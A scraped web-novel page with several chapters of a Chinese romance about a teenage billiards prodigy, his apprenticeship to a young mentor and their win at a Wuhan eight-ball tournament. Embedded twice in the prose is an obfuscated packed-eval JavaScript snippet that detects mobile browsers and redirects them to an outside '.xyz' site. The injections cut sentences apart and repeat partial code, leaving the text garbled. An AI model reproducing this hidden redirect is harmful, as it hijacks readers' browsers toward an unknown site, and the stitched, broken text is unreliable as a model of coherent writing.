想到什么,又说:“上回那顿饭花了二百八十七,你给了我四百六十二,这是多的一百七十五,然后我先还你八十,还欠你二百零七块。” 他边说边从书包里往外掏钱,花花绿绿的零钞铺得满桌都是。 先还的那八十块,还是从江海军给他的晚饭钱里省出来的。 至于剩下的那二百零七块,他要怎么还,暂时还没想到什么好办法。大不了把自己的晚饭钱节省出来,一天攒一点儿,总能还上。 陈树木自己也是个高中生,零花钱也不多,暂时还没大方到说不用还了的程度。 他把那些零钱往自己书包一塞,又好奇地问:“说说啊,怎么这么开心。” 江里卖够了关子,才把自己拜师成功的事儿说了。 顺便把盛千陵大肆唏嘘了一顿,例如是怎么在七分钟之内一杆打完147满分,又是怎么练球十多个小时面不改色不虚不浮的。 想起潘登说过的话,又把盛千陵过去的成绩拿出来显摆了一番。 好像获得过这些成绩的,不是盛千陵,而是江里自己。 陈树木像看鬼怪一样看他,正儿八经地说:“里哥,我还真是第一次,听到你夸人。” 江里笑得嘚瑟:“毕竟是我师父。” 陈树木又问:“那你拜师成功了,从什么时候开始学习?” “今晚吧。” 组长正在发上周的英语考卷,发到最后一排只剩下了江里的。 江里接过来一看,十九分。比上次又多一分。 顿时忍不住飘飘然:“大树,我这成绩照这么稳步提升上去,清华和北大是不是都会来抢我啊。到时候我该选哪个?” 陈树木就服江里这张比城墙拐角还厚的脸皮,竖一个大拇指,心悦诚服胡乱吹侃:“全国985和911,牛筋牛蹄,哈佛拜佛,随你挑。” 江里笑嘻嘻,嚼碎了嘴里最后一点糖球。 没想到当天晚上,江里又听到了“清华北大”这几个字。 按照江里和盛千陵的约定,周日休息一天,周一晚正式开始教学和训练。 江里放学后,先回家看了一眼江海军的脚,确认正在慢慢消肿,才快速跑下楼梯。 为了省钱,他胡乱塞了两个欢喜坨到肚子里,就冲到了时光台球。 1号球台没人用,但顶上的无影灯是亮着的。 盛千陵和潘登正坐在1号台旁边的沙发上聊天。江里走过去时,正好听到潘登在说:“这可是清华北大。” 盛千陵穿着件长袖衬衫,双腿微微张开,两条手臂一左一右搁在大腿上,视线虚落到地上,慢慢答:“总得想清楚,自己想要什么。” 江里听得云里雾里,脑海里忽然想起一句话。 考定力的那天晚上,潘登曾对盛千陵说“也还没确定走这条路”,又联想到考试结束时盛千陵问他那句“你对你想要的东西,都会这么执着不休吗”。 他不知道“这条路”是什么路,也不知道盛千陵“想要的东西”具体是什么。 只不过看盛千陵和潘登都一脸凝重,猜测不是什么顺心事儿,于是走过去问:“潘总,发生什么事了?” 盛千陵先抬头看了江里一眼。两人视线相接,盛千陵冲他淡淡一笑,没有回答。 潘登刚想说什么,盛千陵却打断道:“舅舅,你先去忙吧。” 潘登只好欲言又止,拍拍外甥的肩膀,起身嚼着槟榔走了。 江里莫名发慌,下意识去抓盛千陵的手腕,“师父你是不是遇上什么事儿了?” 和盛千陵相识这么久,江里发现自己对他所知甚少。 除了知道他的名字与年龄,知道他球打得好,其余的一概不知。不知道他为什么不用上学,不知道他为什么千里迢迢从北京来武汉待着,不知道他每天练球时在想些什么,也不知道他此刻拧着眉的原因。 江里感觉气氛有点怪,又补上一句话:“你不会是……未成年嫖\\娼被抓了吧?” 盛千陵听了一怔,很快笑起来,说:“哪有人这样说师父的?” 江里:“……” 江里直接蹲到盛千陵面前,还抓着他的手,追着说:“师父,你要是有什么烦恼,就告诉我,我帮你解决。” 盛千陵目光落在两人贴合在一起的手上,不着痕迹把手往回抽一点儿,又顺势站起来,转移话题:“走,去练球。今天开始训练,但要先给你讲规矩。” 盛千陵不肯讲自己的事,江里没法刨根问底,只好随手从公杆筒里抽了一支球杆,又叫前台收银员开了一张球桌。 两人来到角落那张他们常用的球台边,盛千陵在沙发边坐下,江里倒是老老实实摆出徒弟样儿,扶着球杆站在盛千陵面前,垂着目光看着他。 盛千陵身上总有一种超出年龄的沉静,好像一汪静谧的湖水,又像一弯清冷的月光。 虽然外表清贵如玉,容貌也无可挑剔,却给人一种踏实安心的成熟感。 江里被这成熟吸引,总是不自觉就收敛了自身的锐利与锋芒。 盛千陵抬起脸,缓慢地开口说:“我对你,有几条要求,你得牢记。” 江里摆出虔诚姿态,答:“好,师父你说。” “第一条就是不要叫我师父。” “那叫什么?” 盛千陵淡淡蹙眉,眼角隐有笑意。他说:“叫我师父,显得我好老啊,你再想个称呼。” 他毕竟也才不到十八岁,放松姿态这么说话,倒是又露出些青葱少年气来。 江里想了想,弱弱地说:“那还是盛老师?” 盛千陵摇头。 江里脑子一转,头顶的小灯泡一亮,就又有了新点子。 “千陵?” “?” “小陵?” “??” “陵陵?” “???” 盛千陵忍着心里的不解去盯江里的眼睛,发现江里又笑得狡黠欢脱,发现他果然是正经不过三秒。 盛千陵顿时黑脸,佯装起身要走,江里一秒服软,赶紧奔过去挡住他,哓哓不休道:“错了错了,师父——我错了错了,不应该开你玩笑,别生气陵哥。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许多台球俱乐部为了扩大人气吸引会员,会举办一些有奖金的小比赛,吸引台球爱好者们来参加。这种小比赛,参加的人一般不多,对技术要求不高,相对应的,奖金也少,即使是一等奖,可能也只有一千多块钱。 江里听了,摇摇头说:“我没有参加过。一来我在潘总这边玩儿,从来没去过别的店子。二来我没有满十八岁,没有参赛资格的。” 盛千陵并不意外,通过这段时间的接触,他其实已经慢慢了解了江里这个人。 除了口嗨路子野,别的倒挑不出什么实质性的毛病来。 盛千陵说:“潘总说周二晚上在彭刘杨路名仕台球店有个小比赛,钱挺多,第一名奖金一千五。你去参加这次比赛,让我看看你的心态。参赛资格不用担心,我替你解决。” 江里敏锐地听到了“一千五”这个数字。 他还欠陈树木二百零七块钱,正愁不知道如何还上这笔巨款,竟然得了这么个从天而降的赚钱机会。 可一想到盛千陵刚才说的不许赌球,一时有些举棋不定地问:“陵哥,那这算不算赌球?” 盛千陵摇头,直视他的眼睛,答:“只要是我同意的,就不算赌球。” 江里又乐得跳起来,再次想要往盛千陵怀里冲。 他并没有意识到自己越来越多有这样的冲动,只是像一个小孩子一样,把喜怒哀乐都写在脸上。 他又叫盛千陵:“陵哥。” “嗯。” 江里竟一本正经说:“我发现人还是得不要脸。” 盛千陵惊讶:“???” 江里自顾自地说:“不然我怎么勾搭得上你?” 盛千陵:“……” “所以,我给你磕个头吧,”江里说,“不然我真的太过意不去了。” 江里一边作势屈膝,一边从兜里摸出一支甜橙味棒棒糖,撕了糖纸捏在手上。 下一秒,盛千陵果然伸手拽了他一把,将他身体扶正,俊美的脸上满是错愕。 盛千陵说:“江里,你——” 江里凑近一点儿,嬉皮笑脸道:“既然陵哥不让我跪,那就吃一颗糖吧,就当我的拜师礼。” 说完就把那颗颜色鲜艳的糖果往盛千陵唇边塞。 盛千陵被迫含了一颗糖,皱着眉头无意识轻舔一口。 他从不吃糖,也不能接受过分甜腻的味道。 此时却莫名觉得,这糖的味道还挺不错的。 14. 第014章 名仕台球会员赛的日期定在4月1日晚上七点。 特意选在愚人节,跟闹着玩儿似的。 江里六点才能放学,学校离彭刘杨路虽然不算太远,先过汉江再过长江就能到,但这个点是下班放学高峰期,平常总会堵车,公交也不那么准点,所以还没下课江里就犯了愁。 英语老师“梅超风”在讲台上讲得激情飞扬,用夸张的神态与表情讲着英语语法,希望以高亢的嗓音和大幅的动作来吸引学生们的注意。 可江里一个词也没听进去,一个词也没听懂。只感觉有个洋人在耳边叽里呱啦说着鸟语。 六点整,二十九中准时响起放学铃声。 江里猛地站起来,书包一拿,椅子划过地面,制造出刺啦一声尖锐的响动。他心虚地抬起头,果然对上梅老师那双圆睁的怒目。 梅老师扯着嗓子发飙:“江里,我还没讲完,你给我坐好了!” 江里一秒钟都没有犹豫,马上捂住肚子,嗯嗯啊啊好几声,演技十足道:“老师老师,人有三急,我先出去解决一下,免得尿在裤子里污染教室空气叫大家笑话!” 学生们顿时哄堂大笑,气氛一下子放松下来。 梅老师没有办法,愤愤地咬着牙宣布下课。 江里飞快往外跑,边跑边掏出破手机给盛千陵发消息。 但是盛千陵的消息先过来:“江里,下课了就走出来,我在你们学校巷子口。” 二十九中在一条居民巷子里,走出巷子口是利济北路。 盛千陵此时就站在巷口一家美容医院门口,手上提着一些吃食。 他个子高,头发剪得清爽利落,脸上戴着一只浅色的海绵口罩。上身穿着一件白色的休闲款衬衫,衣摆是不规则的弧形,就像大海的波浪。下搭宽松的黑色长裤,配一双崭新的白色板鞋,在一众重重人影与喧嚣车声里,人高腿长的他显得格外出众吸睛。 2014年,武汉市还没有进入日常戴口罩时代。 大街上若是有人戴着口罩,多半会被以为是哪个明星或者不方便露面的名人。 尤其盛千陵衣品极正,脊背笔直,气质卓绝,天生就攫人眼球。 正是放学的点,从学校里走出的学生们纷纷被这个戴着口罩的高个帅哥吸引,投来一波一波打量和羞赧的目光。 江里冲盛千陵挥手,飞快跑过来,在他面前站定,微微喘气道:“陵哥,你怎么来了?在球房等我就行啊。” 盛千陵把手上那几只白色塑料袋递给江里,嗓音平静:“时间有点紧张,你来不及吃晚饭,就在车上随便吃点凑合一下。” 随后朝身后停着的空的士指了指。 那几个塑料袋里有煎饼果子,有鲜肉锅盔,有三鲜豆皮,还有一杯银耳汤。 对江里来讲,已经是十分丰盛的晚餐。 而且盛千陵还提前找好了出租车,正歇在停车位上等他。 江里接过袋子,又看了一眼那辆车,心里忽然孳生一种从未有过的奇妙感觉。 好像自己小时候和江海军住过的那套农村老屋大门被打开,从对面的树林里吹来一阵猛烈的山风,哗啦啦往屋子里灌。 他不明白自己贫瘠的想象里为何会出现这样一幅久远的画面,像一帧梦境一样忽闪而过。 带着一点无法理解又难以言喻的情绪,他感觉到那阵风将他整个人紧紧包裹。 少年很少被人如此温柔相待,乍一碰上,除了感到舒心与欢快,更深层次的却是无力的惶恐与无法回报的不安。 江里提着袋子,随手往巷子里一指。 从那里面走出一群一群结伴而行的女高中生们。 江里说:“陵哥,你看一眼,那些女同学们。” 盛千陵正准备去给江里拉车门,闻言回头:“???” 江里屁颠屁颠跑过去,像小狗摇尾巴讨好主人一样,扯着笑脸说:“这些女生里,如果有你中意的,无论哪一个,我都帮你追。” 盛千陵几乎是拧着眉脱口而出:“我对女生没——” …… 话未说完,戛然而止。 讲不出口,没有意义。 好像一架过山车刚刚起步,轰隆轰隆没几秒,悬在半空中,不得上下。 江里没听明白,但不妨碍他发散思维:“我们学校一千多个女生,总有一个是你喜欢的类型吧!” 他笨拙地思考自己能对盛千陵好的方式。 没有钱,给不了物质方面的回报。只能介绍一个女朋友给他,让他多一点快乐和笑容。 盛千陵没答话,拉开后座,低着嗓音说:“上车吧,快来不及了。” “哦,好。” 江里长腿一迈,弯腰俯身坐在了后座上。 盛千陵绅士地替他关好门,又回到了前座上。 刚一坐好,盛千陵就对司机道歉:“司机师傅,不好意思,我和朋友有点赶时间,他没吃饭,可能需要在您车上解决一下晚饭。” 盛千陵的优雅与礼貌是最好的通行证。 司机乐呵呵笑道:“没事,吃吧吃吧,反正你也不是打表。” 意思是包车,你想怎么样都行。 江里在后面啃锅盔啃得欢快,汽车发动机启动时声音又大,他没有听清司机说的“打表”这个词。 啃了几口,由衷感叹道:“陵哥,你竟然连豆瓣酱都给我刷上了。” 盛千陵听了,回过头问:“怎么?不喜欢?” “不不不,”江里摆手,“我就和你吃了一次饭,你就摸清楚我的口味了。” 锅盔这个东西,不刷点儿酱就几乎没什么味道。 但如果刷酱,又分辣椒酱和豆瓣酱。江里惯常喜欢在锅盔面上刷一层薄薄的豆瓣酱,好激起味蕾的反应。 他没有提过,可盛千陵却能从他那日的挑食描述里,精准分析出他的喜好。 江里感觉到,刚才那阵风,好像更大了。 出租车一路经过汉江大桥和长江大桥,穿过齐整有序的车流。 在长江大桥的桥尾处,高耸在郁葱林木上的黄鹤楼赫然入目。 此时夕阳还剩下一点余光洒在身后的江面,黄鹤楼被最后一丝淡然的光笼上一层薄霜。楼宇外描绘轮廓的灯带已打开,整座楼陷入一种温情的静谧与安宁里。 江里见盛千陵矮着身子看那楼,扒拉在驾驶座和副驾驶中间的缝隙里问:“陵哥你上去过么。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875188|176273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 盛千陵摇摇头,答:“我是第一次来武汉。” “哦。” 盛千陵回头,反问:“你上去过么。” 没等江里回答,一直安静开车的司机却嗤笑一声,说:“呵,我们武汉人,哪个克黄鹤楼啊?” 江里莫名觉得这话极其刺耳,明明自己不算土生土长的武汉人,却感觉被这司机打了脸,一时没好语气反驳:“怎么呢,黄鹤楼丢了武汉人的脸?” 司机没想到被呛,但还是继续自己的观念:“门票又贵,就一个空楼,里面随么事冒得,爬上克能看个么事?就这还好意思收八十块钱?” 江里性格里那点儿乖张放肆又漫出来,拔高嗓音据理力争:“你不懂,又不代表所有人都不懂。” 司机:“……” 车子很快下了彭刘杨路,江里没再和司机争论。 下了车还是觉得愤愤不平,把最后一点儿煎饼果子咬得脆响,以发泄自己的不满。 盛千陵先下车,看着江里一脸叛逆与不爽,像根长了刺的荆棘,开口说:“别气了。” 江里用力把白色塑料袋捏成一团,像投篮一样往路边的垃圾桶一扔,不悦道:“陵哥,你不懂,我不愿意听本地人都这样打击自己的城市。” 盛千陵听得心里一顿,垂着眼就那么看着他。 路上的汽车接二连三疾驰而过,遇上红灯又缓慢停下来。所有门店的彩色灯光全部亮起,行人匆忙而过,交织着红橙黄绿青蓝紫,世界变成一块虚幻的背景板。 江里就站在这些斑斓的色彩里,弯着削瘦的背边走边把路边一颗石子踢得老远。 盛千陵忽然笑起来,说:“江里,如果有机会,带我去黄鹤楼看看。” 江里心情变化极快,单纯得像个不谙世事只管吃喝的婴儿。 他像炫宝似的,说:“好啊好啊,我一定带你去看看,选在下午去,绝对让你过足眼瘾。” 说完这句话,江里看到盛千陵伸了一下手,莫名觉得对方即将摸上自己的头。可是两秒后,那手落在自己肩膀上,还轻轻拍了拍。 接着,江里听到盛千陵说:“眼下最重要的,是去打一场比赛,让我看看你的心态。如果是两句话就被司机点炸这种心态,那比赛就没有办法胜出。” 江里伸着长腿跟着盛千陵走,边走边不服气地问:“陵哥,那我今晚要是了拿了冠军,有没有什么奖励啊。” 盛千陵看他一眼,声音很轻:“你先拿了冠军再说。” 江里一秒回到那个嚣张狂妄的少年,挑着眉信誓旦旦:“呵,就这种小台子,不拿冠军我江里就跳到江里去。” 只不过,到了名仕台球俱乐部,江里才发现自己话说满了。 如果只是他自己参加,打这种小台,拿个冠军或许没有那么高的难度,反而因为他的神级准度,会赢得轻轻松松。 可是盛千陵没有告诉他,他陵哥也参加了比赛。 江里:“……” 这就好比满级大佬来到新手村虐菜,菜鸡挥着精良的高级武器一顿乱秀,大佬只需要轻轻扬手,仅靠剑气,就能击败对面的菜鸡,不费吹灰之力。 江里感觉自己可能真的要命丧于江里了。 15. 第015章 江里跟着盛千陵走进名仕台球俱乐部,两人先到前台去取了自己的参赛号码牌。 盛千陵是通过电话报名的方式参加了这次比赛,然后到现场缴纳了两人的报名费共计一百元。 江里接过参赛铭牌,发现自己那张上面写着“22号小登”,而盛千陵那张是“23号小洪”。 江里琢磨一会儿乐了,贱兮兮凑到盛千陵耳边小声问:“陵哥,你用的是潘总和洪叔的名字啊。” 未成年人不被允许参加比赛,盛千陵直接就借了两个身份证号来报了名。 他点点头,答:“没事,他们知道的。这边不会看证件,只是例行询问。” 江里“嗯”一声,没说话了。 时间渐渐接近于七点。 所有参赛的32名选手都已经到台球室中间的休息区就位,等候店方宣布比赛规则。 有一位穿着西服的年轻男人面带笑意走过来,在休息区站定,拿着一支无线麦克风道:“各位朋友大家好,今天的中式八球比赛我们选用单败淘汰制,32进16,16进8,8进4,4进2,最后争夺冠亚军。请大家将参赛号码牌贴在手臂后,然后过来抽签。” 选手们一窝蜂涌过去抽签,江里坐着没动,想到什么,突然耷下一张脸,跟只小狗似的,轻轻开口:“师父,如果我第一轮就抽到你,那我能不能不跳江啊。” 单败淘汰制,意思是只有一次机会。 只要输给一个对手,就直接被淘汰出局,没有加赛的机会。 盛千陵还戴着那只浅色口罩,听得好笑,眼睛弯起来说:“又叫师父了?” 江里从裤兜掏出一颗糖,撕了糖纸后放进嘴里,有一下没一下舔着,答:“那我这不是……有求于你嘛。” 江里拒绝女孩时是真混蛋,撒起娇来也是真乖。刻意放软声音说话,声色都似有改变。 软绵绵的,像只小动物。 盛千陵笑道:“概率没这么低,放心吧,遇不上我。” 其余的30位选手很快抽完签,只剩下了江里和盛千陵。 穿西装的店长将抽签盒拿过来,说:“小登和小洪是吗,来,一人抽一个吧。” 江里率先伸手,拿出一个15号,盛千陵抽到的是32号。 按照单败淘汰制的规则,1号对2号,3号对4号,以此类推,一直到31号对32号。 江里看到自己抽的号码,瞬间又开心起来,把糖棍像烟一样夹在手上,得意地说:“陵哥陵哥,总决赛见!” 他笑得灿烂,像一个得到了糖的幼小孩童。也毫不设防地将自己这喜形于色的一面,展露在盛千陵面前。 江里自信以自己的球技,绝对能走到总决赛。 而盛千陵的技术更不必说。斯诺克都能打出单杆满分的选手,打小台就相当于让清华数学系的博士生来做小学生的加减数学题。 而事实也如江里所料。 他一步步走出32进16,从16进了8,又从8强里率先进入前4强,最后又大比分优势成功晋级总决赛。 因为打法狂野,进球率惊人,又凭着那一脸进一个球就得意wink的雅痞帅气,短短的几局球里,竟吸引了不少粉丝。 盛千陵那边倒是微敛锋芒,一局一局打得都很低调,并没有按江里设想的那样,杆杆清台,局局打对手零蛋。 不过最后,盛千陵也顺利走到总决赛,和江里成功会师。 比赛已经进行了三个多小时,所有被淘汰的玩家都意犹未尽。 有的不服气,有的是好奇。 谁都不肯离开,非要看着这两位面生的年轻选手一决高下。在竞技运动里,向来不管出身不问年龄,只要技术过硬,就是圈子里绝对的强者。 江里和盛千陵分坐在赛台边的沙发两侧,静静地等着店长刷台摆球宣读规则。 江里看着店长将十五颗球聚拢,然后将三角球框拖到低于点位下方十厘米左右的位置时,惊讶得睁大了眼。 众所周知,球摆得越高,开球进球的几率就越大。 而摆得越低,开杆进球的难度就越大,那么连杆赢球的可能性就会大大减少。 江里下意识咬唇,看向盛千陵,又凑过去小声说:“陵哥,这店长是不是想搞我?” 盛千陵早已习惯江里这种模棱两可又带有歧义的话,有了些脱敏体质。 他目光沉静如水,端坐于黑色的皮质沙发里,神色未变,只看着那框被摆好的球,轻声说:“球摆得越低,你越有机会赢我,不是么。” 江里愣了一下,再次去琢磨规则。 两秒后,恍然大悟。 他又乐起来,一副捡了便宜的模样,得意扬扬道:“那,陵哥你可记好了,我如果拿了冠军,你要给我奖励的。” 盛千陵却忽然反问:“江里,晚上吃饱了没有?” 江里不明所以,答:“还行,耗了三小时了,暂时还不饿。” “嗯。” 江里知道盛千陵这人不会问多余的废话,这话既已出口,一定是事出有因。 他在脑子里琢磨酝酿了一会儿,突然反应过来盛千陵的意思,瞬间震惊得瞳孔地震,颤抖着说道:“陵哥,你……不是吧?” 盛千陵起身,藏在口罩里的脸淡然一笑。 他理了理自己的衬衣衣摆,拢一拢长裤上的褶痕,清新隽永看一眼江里,不紧不慢地说:“你别忘了我让你来参加比赛的目的是什么。” 江里喃喃:“就,就心态嘛。” 到底是看他的心态,还是搞他的心态啊。 于是,搞心态比赛正式开始。 总决赛是11局6胜制,也就是说,谁先赢到6局,就算获得冠军。 偏偏这比赛又不是按照国际标准规则来裁定,店长为了搞一搞愚人节的气氛,竟通知江里和盛千陵以石头剪刀布的形式来争夺开球权。 江里缓缓抬头,棒棒糖都忘了拿出来,还卡在口腔里,唇齿不清道:“不用比球①了?” 店长笑得春风得意,答:“我定的比赛,我说了算。” 江里:“……” 江里脑子里迅速开始推算石头剪刀布到底是赢好还是输好。 如果赢了,就可以开球。但因为球的点位不对,开杆很难进球,就势必会对对手带来接清②机会。 如果输了,不能开球,但可以接手。万一对方没有炸清③,凭自己这准度,一杆清台就几乎是稳的。 就这么一琢磨,江里就想明白了。 石头剪刀布他一定要输,才有可能在这儿戏般的规则里,获得赢球的机会。 他抬头看盛千陵。 盛千陵头发垂在额上,双眼平静毫无波澜。他根本没有想这么多,只是继续拿着那支公用球杆在球台边站着,等候江里出拳。 第一局,江里出了剪刀,盛千陵出了石头。 江里喜上眉梢,乐颠颠地等盛千陵将球炸开,他好直接上场清台。 盛千陵一进入比赛,就像换了个人似的。他身长如玉,俯趴下去时背部与腿部线条垂直流畅,皓白的肤色衬托着昳丽的瞳仁,整个人精致得不像话。 他控力开球,却没有将球打得像江里想象的那样四下飞散,而只是完全遵循了八球的规则,只让最外边的四颗球弹出撞库,停于半台附近,而白色的母球,却轻松拉回来,贴于开球区的最底库边。 江里:“……” 卧了个大槽。 就这么一杆,他清楚地明白盛千陵问他饿不饿是什么意思了。 这可不就是持久战? 哪有人把小台当斯诺克那样防守啊! 还控力控得如此精准,仿佛完全能驱动自身的力量,让白球跟着自己的意志停落。 江里心里一凉,目光幽怨又委屈地看向盛千陵,轻声抱怨:“陵哥……” 活脱脱的撒娇求放过。 盛千陵神色松了松,冷白的皮肤愈发清润似玉。 他随手给球杆擦了点巧粉,不顾围观旁人的眼光,平淡地说:“现在没有陵哥,只有你的对手。如果要尊重对手,你就得全力以赴。” 江里想说一句陵哥你放屁,你刚才是怎么藏锋露拙和别的选手打得不相上下,你以为我不知道? 可江里不敢说。 只能颤颤巍巍上场比赛。 这一场比赛,打得简直比陈树木那天送钱还慢,打得比等陈树木送钱来时还煎熬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875189|176273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按正常速度,11局抢6,不消一个小时就能打完。偏偏盛千陵用了控力和杆法,杆杆防守江里,打得江里上蹿下跳简直暴跳如雷,已经持续了近两个小时。 江里痛苦不堪地承受着来自盛千陵的杆杆暴击,在一局又一局的折辱里,千辛万苦地突围得分。 围观的群众也很逗,个个看看咬牙切齿,表示从没看到过有人这么打八球。 又因为他们被江里这狂野的球风圈粉,一时纷纷成为江里的临时后援会,骂盛千陵是个不折不扣的“老阴逼”。 也有人说这场总决赛毫无观赏性,却没有一个人离开现场。 说来说去,还是怪盛千陵太变态。 盛千陵对旁人的议论充耳不闻,只将自己的口罩再拉上一点,只露出一双眼睛来。 有个心直口快的选手说:“哎,22号的小登,打了这十局,像被轮\\奸了十局一样的。” 这个词倒是微微让盛千陵侧目,不过很快他又收回了目光。 等着最后一局开始。 现在已经打完了十局,在盛千陵的把控下,他们一人胜出五局,也就是5:5持平。 进入双赛点。 江里已经筋疲力尽,脸孔呆滞双目无神,棒棒糖都不知道吃了几颗,眼下竟连吮吸的力气都没有,只能伸着舌头舔糖球,要多色情有多色情。 服务员正在摆球,按规则,江里要第十一次和盛千陵进行石头剪刀布的游戏。 江里没伸手,站在盛千陵面前,抬起哀怨的目光看着他,嗓音绝望:“最后一局了,要杀杀个痛快吧,哥哥。” 盛千陵:“……” 那声“哥哥”,江里是无意识叫出来的。就类似不带情绪地称呼对方为“大哥”,又像武汉方言里为表亲近随口叫人一句“拐子”。(注:“拐子”在武汉话里也是“哥哥”的意思。) 可盛千陵却听得眸光加深,顶上的灯光落进他眼里,化作一方柔软的流波,就像深不见底的潭水里晃进了一弯月亮。 半晌后,他问:“这局我不防你,猜拳你想赢还是输?” 江里一听,怔怔地站在那儿,嘴里咬着一颗棒棒糖道:“真的?那猜拳我想输,我出布。” 下一秒,两人同时伸手。 江里出了布,盛千陵果然出了剪刀。 盛千陵上场开球。 这是他第一次将十五颗球炸得满台跑,每一颗都受力十足,奔向台库又弹好几圈回来。 江里注意到盛千陵这局开球,并不是用手臂发力,而是动用了腰的力量,将上半身整个往前推,好将球开得这么松散。 好似武将出征,露出锐利的锋芒,大杀四方。 旁边又有人感叹:“我靠,23号这把腰绝了啊!” 江里无语:“……” 他妈的这群人怎么就不能闭嘴呢?他陵哥是不是老阴逼变态是不是在轮\\奸他是不是腰很好,跟他们都有个锤子关系? …… 眼看江里的眼神不太对,浑身那种刺猬般的躁动赫然显露,盛千陵知道他受了旁人的影响,抢在他开口前挡住他,低头安抚道:“江里,记得我在考验你的心态。” 江里一秒泄气,愤愤地将眼刀落到地面,才慵懒地讲:“嗯,知道了。” 最后一局,由于摆球点位不对,盛千陵开球果然没有进球。 江里上场接杆,三下五除二就将自己的七颗球打完,只剩下最后一颗黑八。他有心想丢一杆,让盛千陵上场,哪知道盛千陵像提前洞悉了他的想法,路过他身后时悠悠地说:“这杆直接决定这场比赛的胜负。” 江里果然被激到,精准描点稳稳出杆,用力将这颗八号球捅入了底袋里。 随着周围阵阵掌声响起,江里知道自己获得了这次比赛的冠军。 他回望一眼盛千陵,灯光下,人影中,喧闹的氛围与无尽的长夜里,两人视线在空中交汇。 江里看着那双漆黑如墨的眼,里面隐有笑意,却蓦然觉得空气中传来一声极轻微的“呲啦”声,像弱电流一样,漫过他的心脏,激得他周身颤栗毛孔竖起,鸡皮疙瘩争先恐后往外涌。 原来,这就是赢得比赛拿冠军的感觉啊? 江里想。 16. 第016章 一场比赛结束,已经过了夜里十二点。 店长进行了简单的颁奖仪式,当着所有参赛人员的面将前三名获奖者的奖金一一发放。 江里喜滋滋捏着那个大大的红包,笑得像个二愣子似的。痞也不痞了,浪也不浪了,就站在那儿傻乐着。 盛千陵趁着人多混乱,轻轻拿手背敲敲江里的手臂,低声说:“江里,走吧。” 江里没反应过来,侧头问:“怎么了?” 盛千陵回答:“马上要拍照了。” 一家台球俱乐部举办这样的比赛,自然是希望联络会员活跃气氛。他们往往会在比赛结束后,拍一些激情洋溢的照片,冲洗出来贴在店里,记录这热闹美好的时刻。 江里和盛千陵是冠亚军,自然是入镜的必要人选。 可是盛千陵有所顾虑,根本不想被拍照,即使戴着口罩也不行。 江里还沉浸在拿冠军的喜悦里,没太细想,跟着盛千陵悄悄出了门。 两人穿过安静的商场大楼,从楼梯拐出来,走到大马路上。 城市子夜,灯光暖黄,树影婆娑。 街道上冷冷清清,只有几辆夜行的小汽车亮着尾灯飞驰而过,而后缓慢开来一辆唱着《兰花草》的洒水车。 江里站在绿道,背对着马路打哈欠。 而这时,《兰花草》的曲调声越来越近。 眼看那辆洒水车就要开过来,盛千陵来不及细想,伸手将江里往旁边一拽,想让他躲过淋水,自己却因为后退慢了一步,被飞溅的水流浇了一道。 江里打完哈欠闭上嘴,才看到盛千陵的白色衬衣背后沾了一长串污泥印子。 他眼里那点儿因为打哈欠而带来的零星泪水还没散去,又感觉刚才拿了比赛冠军后的潮涌心绪再次席卷,干脆眨巴眨巴眼,让自己看起来泪眼汪汪,好像一副无比感动的样子,调皮地说:“陵哥,你对我怎么这么好啊。” 盛千陵看江里一眼,没什么其它反应,将自己那个亚军奖金红包叠到手机下,伸着头去找路边的出租车。 江里被夜色与晚风裹挟,心思又活泛起来。 他把自己的红包卷了卷塞进裤兜里,就着头顶那盏莹玉般的小灯,一本正经看向盛千陵,说:“陵哥,我要是个女的就好了。” 盛千陵被喧闹声吵了一晚上,有点疲惫,嗓音很轻:“为什么。” 江里眯着眼睛笑道:“就可以追你了啊。” 说得坦坦荡荡,没有一丝一毫的扭扭捏捏。好像对他来讲,对一个人最高的肯定,就是在性别合适的情况下去追求他。 盛千陵:“……” 他十分不愿意继续讨论,于是像以往每一次一样,强行转换话题:“拿了冠军,想要什么奖励?” 江里先前说要奖励,是在不知道盛千陵也参赛的情况下。 可今晚比赛一打,他心知肚明这个冠军是怎么来的,所以根本没脸提出什么额外的要求。 又因一时的确想不到,在抬眸时无意间看到了黄鹤楼的半截彩灯闪闪的楼身,随口道:“我太兴奋了,那你就陪我一起从长江大桥走回去吧。” 盛千陵摇头:“不行,你明天还要上学,现在很晚了,你得回去休息。” 江里翘起嘴,冷哼:“你看看,说了给我奖励,又不兑现!” 盛千陵终于看到一辆亮着“空车”字样的出租车,赶紧挥挥手,又低头轻声对江里说:“别闹,以后会有机会的。” 江里撅着嘴,不情不愿跟着盛千陵上了车。 这一次,两人一起并排坐在后座。车子上了引桥,窗外流泄的灯光飞掠而过。 极度的兴奋过后是极度的疲惫。 江里体力透支,又坐上了柔软的皮质坐椅,被江风一吹,一时有些昏昏欲睡。他蔫蔫地坐着,瞧着长江大桥上的灯柱都连成了线,感觉眼皮渐渐沉重起来。 最终扛不住睡意来袭,闭上眼睛打了个盹儿。 摇摇晃晃里,风过脸颊,意识混沌。世界在无限下沉,搅碎一江月光。江里在困倦中晃晃悠悠,许久后,只觉得自己忽然靠到某个实处,短暂的清梦开始安稳。 十几分钟后,出租车过了汉江大桥,停到了乐福广场门前。 江里被推醒,耳畔传来盛千陵的声音:“江里,醒醒,到了。” 